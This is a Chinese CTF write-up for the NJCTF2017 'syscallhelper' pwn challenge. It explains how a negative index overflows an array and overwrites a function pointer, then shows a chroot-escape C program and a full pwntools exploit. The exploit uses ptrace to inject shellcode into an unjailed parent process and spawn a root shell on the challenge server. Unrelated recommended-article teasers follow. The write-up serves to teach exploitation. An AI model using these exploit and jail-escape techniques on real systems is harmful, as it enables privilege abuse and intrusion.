每日一胖——NJCTF2017之syscallhelper

漏洞类型:数组边界溢出
利用方法:通过ptrace注入shellcode

程序入口

root@kali ~/桌/syscallhelper# ./syscallhelper 
[+]Welcome to our new syscall helper
 ____________________________________
|                                    |
|1. set system call                  |
|2. add a new system call            |
|3. generate shellcode               |
|4. switch architecture              |
|5. leave your message               |
|0. exit                             |
|____________________________________|

[+]Give your option:

在add功能中

 v5 = getopt();
  if ( v5 <= 6 ) //v5可以为负数
  {
    puts("[+]Input argument values(argvs)");
    while ( 1 )
    {
      while ( 1 )
      {
        puts("[+]Input the argument value index,enter a single 0 to stop");
        v8 = getopt();
        if ( v8 <= (unsigned int)v5 ) //unsigned(-1) = 0xffffffff
          break;
        puts("[-]index out of range");
      }
      if ( !v8 )
        break;
      puts("[+]Input the argument value");
      readn(0, (int)call_number, 1024);
      numbercpy(v4, v8, call_number);
    }

这里没有限制v5和v8必须为正数,所以这里可以输入负数导致数组边界溢出。


函数指针

可以通过上述漏洞将函数指针覆写为任意地址,接着通过generate来触发


Paste_Image.png

加之程序全部内存空间都有执行权限,因此只要我们能够将其指向任意一段可控内存,我们就有了控制程序的能力。如果不加限制,执行shellcode可以轻松的拿到shell,但是,程序在初始化阶段执行了chroot('jail')
Paste_Image.png

在当前路径下并没有执行shell所需的环境,因此必须想办法绕过chroot限制。需要注意的是,chroot需要root权限,但是程序在执行chroot后并没有降权,这意味着我们在执行shellcode时依然是root权限。这里想到的第一种思路是利用chroot本身的实现漏洞绕过限制

int main() {
    chdir("jail");
    chroot("./");

    mkdir("break_jail", 0755);
    chroot("break_jail");
    int i;
    for (i=100; i>0; i--)
        chdir("..");
    chroot(".");
        /* exec a bash in interactive mode */
        if (execl("/bin/bash", "-i", NULL)<0) {
                fprintf(stderr, "Failed to exec - %s\n", strerror(errno));
                exit(1);
        }
        return 0;
}

但是,这种方式需要当前文件夹下拥有一个可读文件夹或者创建文件的权限。但是,在本题中并不具备这样的条件。另一个思路(@Lancet的neo师傅)是通过ptrace向其他线程注入shellcode。因为我们拥有root权限并且父进程中并没有执行chroot,所以我们可以通过ptrace系统调用attach到父进程上,并将shellcode注入到其任一段内存空间上,并修改eip使其指向刚注入的shellcode,最后再detach就可以了。完整代码如下

from pwn import *
from pwn import shellcraft as sc
import time

debug = 0
slog = 0
local = 0
if slog: context.log_level = True

if local:
p = process('./syscallhelper')
else:
p = remote('218.2.197.234', 2088)

def setcall(name):
p.recvuntil('option:')
p.sendline('1')
p.recvuntil('name:')
p.sendline(name)

def addcall(name, call_number, args):
p.recvuntil('option:')
p.sendline('2')
p.recvuntil('call name')
p.sendline(name)
p.recvuntil('call number')
p.sendline(str(call_number))
p.recvuntil('count(argc)')
#p.sendline(str(len(args)))
p.sendline('-1')
p.recvuntil('stop')
for arg in args:
p.sendline(str(arg[0]))
p.recvuntil('argument value')
p.sendline(arg[1])
p.sendline('0')

def switch(arch):
p.recvuntil('option:')
p.sendline('4')
p.recvuntil('option:')
if 'x86' in arch:
p.sendline('1')
else:
p.sendline('2')

def generate():
p.recvuntil('option:')
p.sendline('3')

switch('x64')

'''
shellcode = asm("push eax; push 0x0805A7A0; xor eax, eax; push eax; mov eax, 0x08048BF0; call eax;")
shellcode += asm("xor eax, eax; push eax; push 0x0805A7A0; mov eax, 0x08048b40; call eax;")
shellcode += asm("push 0xdeadbeaf; push 0x0805A7A0; push eax; mov eax, 0x08048BF0; call eax")
shellcode += asm("push 0x0805A7A0; mov eax, 0x08048D30; call eax")
'''

asm_code = ''
'''

define PTRACE_TRACEME 0

define PTRACE_PEEKTEXT 1

define PTRACE_PEEKDATA 2

define PTRACE_PEEKUSR 3

define PTRACE_POKETEXT 4

define PTRACE_POKEDATA 5

define PTRACE_POKEUSR 6

define PTRACE_CONT 7

define PTRACE_KILL 8

define PTRACE_SINGLESTEP 9

define PTRACE_GETREGS 12

define PTRACE_SETREGS 13

define PTRACE_ATTACH 0x10

define PTRACE_DETACH 0x11

define PTRACE_SYSCALL 24

'''

shellcode_getsh = asm(sc.execve('/bin/sh'))

local read shellcode

asm_code += sc.read(0, 0x0804e010, 1024)
asm_code += 'push eax;'

ptrace attach

asm_code += sc.getpid()
asm_code += 'dec eax; push eax; mov ebx, eax;' + sc.ptrace(0x10, 'ebx', 0, 0)
asm_code += 'test eax, eax; jnz fail;'

ptrace inject shellcode

asm_code += 'push 0x0804E010;'
asm_code += 'loop: mov ecx, [esp+4]; mov edx, [esp]; mov esi, [edx];'
asm_code += sc.ptrace(5, 'ecx', 'edx', 'esi')
asm_code += 'test eax, eax; jnz loop;' #if failed to inject, try again
asm_code += 'add edx, 4; mov [esp], edx; mov esi, [esp+8]; sub esi, 4; mov [esp+8], esi; test esi, esi; jg loop;'

ptrace getregs

asm_code += 'mov ecx, [esp+4]'
asm_code += sc.ptrace(12, 'ecx', 0, 0x0804e010)

ptrace setregs, control eip

asm_code += 'mov [0x0804e040], esi;'
asm_code += sc.ptrace(13, 'ecx', 0, 0x0804e010)

detach

asm_code += 'mov ecx, [esp+4]'
asm_code += sc.ptrace(0x11, 'ecx', 0, 0)

exit

asm_code += sc.exit(0)

print error

asm_code += 'fail:'
asm_code += sc.pushstr("ptrace failed\n")
asm_code += sc.write(1, 'esp', 14)

print asm_code

shellcode = asm(asm_code)

assert len(shellcode) < 1024

puts_plt = 0x08048d30
addcall('read', 1, [(-10, p32(puts_plt)), (1, shellcode)])
setcall('read')
generate()

p.recvline()

heap_addr = u32(p.recv(4))
print 'heap addr is', hex(heap_addr)

if local and debug: gdb.attach(pidof('syscallhelper')[0], open('debug'))
shellcode_addr = heap_addr + 0x10
addcall('write', 1, [(-10, p32(shellcode_addr))])
setcall('write')
generate()

p.sendline(shellcode_getsh)
p.interactive()

成功得到shell

root@kali ~/桌/syscallhelper# python exp.py
[+] Opening connection to 218.2.197.234 on port 2088: Done
heap addr is 0x8e820e0
[*] Switching to interactive mode

$ cd ..
$ ls
flag
jail
syscallhelper
$ cat flag
NJCTF{7dcac60b42cdd16ca7fb5839f21141b3}

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容

  • Ubuntu的发音 Ubuntu,源于非洲祖鲁人和科萨人的语言,发作 oo-boon-too 的音。了解发音是有意...
    萤火虫de梦阅读 99,215评论 9 467
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,719评论 0 10
  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 12,149评论 2 34
  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 171,831评论 25 707
  • F是我的初中同学,更深层次的关系是他是我六年的笔友。在这个网络平台盛行的年代,写信这种古板的行为被难被人理解。一字...
    言婉阅读 216评论 0 0